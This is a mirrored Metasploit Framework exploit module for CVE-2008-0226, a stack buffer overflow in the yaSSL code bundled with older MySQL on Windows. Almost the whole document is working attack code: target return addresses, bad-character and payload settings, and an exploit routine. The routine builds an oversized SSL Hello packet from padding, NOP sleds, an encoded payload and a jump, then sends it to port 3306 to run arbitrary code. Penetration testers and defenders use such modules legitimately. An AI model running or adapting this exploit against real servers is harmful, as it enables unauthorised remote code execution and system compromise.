Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/mysql/mysql_yassl_hello.rb
19566 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'MySQL yaSSL SSL Hello Message Buffer Overflow',
16
'Description' => %q{
17
This module exploits a stack buffer overflow in the yaSSL (1.7.5 and earlier)
18
implementation bundled with MySQL <= 6.0. By sending a specially crafted
19
Hello packet, an attacker may be able to execute arbitrary code.
20
},
21
'Author' => [ 'MC' ],
22
'License' => MSF_LICENSE,
23
'References' => [
24
[ 'CVE', '2008-0226' ],
25
[ 'OSVDB', '41195'],
26
[ 'BID', '27140' ],
27
],
28
'Privileged' => true,
29
'DefaultOptions' => {
30
'EXITFUNC' => 'thread',
31
},
32
'Payload' => {
33
'Space' => 600,
34
'BadChars' => "\x00\x20\x0a\x0d\x2f\x2b\x0b\x5c",
35
'StackAdjustment' => -3500,
36
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
37
},
38
'Platform' => 'win',
39
'Targets' => [
40
[ 'MySQL 5.0.45-community-nt', { 'Ret' => 0x008b9d45 } ],
41
[ 'MySQL 5.1.22-rc-community', { 'Ret' => 0x008b04c9 } ],
42
],
43
'DefaultTarget' => 0,
44
'DisclosureDate' => '2008-01-04',
45
'Notes' => {
46
'Reliability' => UNKNOWN_RELIABILITY,
47
'Stability' => UNKNOWN_STABILITY,
48
'SideEffects' => UNKNOWN_SIDE_EFFECTS
49
}
50
)
51
)
52
53
register_options([ Opt::RPORT(3306) ], self)
54
end
55
56
def exploit
57
connect
58
59
sock.get_once
60
61
req_uno = [0x01000020].pack('V')
62
63
req_dos = [0x00008daa].pack('V') + [0x40000000].pack('V')
64
req_dos << [0x00000008].pack('V') + [0x00000000].pack('V')
65
req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')
66
req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')
67
req_dos << [0x03010000].pack('V') + [0x00000001].pack('V')
68
req_dos << "\x00\x0F\xFF" + rand_text_alphanumeric(3917 - payload.encoded.length)
69
req_dos << make_nops(100) + payload.encoded + [target.ret].pack('V')
70
req_dos << make_nops(16) + [0xe8, -650].pack('CV') + rand_text_alphanumeric(1024)
71
72
print_status("Trying target #{target.name}...")
73
74
sock.put(req_uno)
75
sock.put(req_dos)
76
77
handler
78
disconnect
79
end
80
end
81
82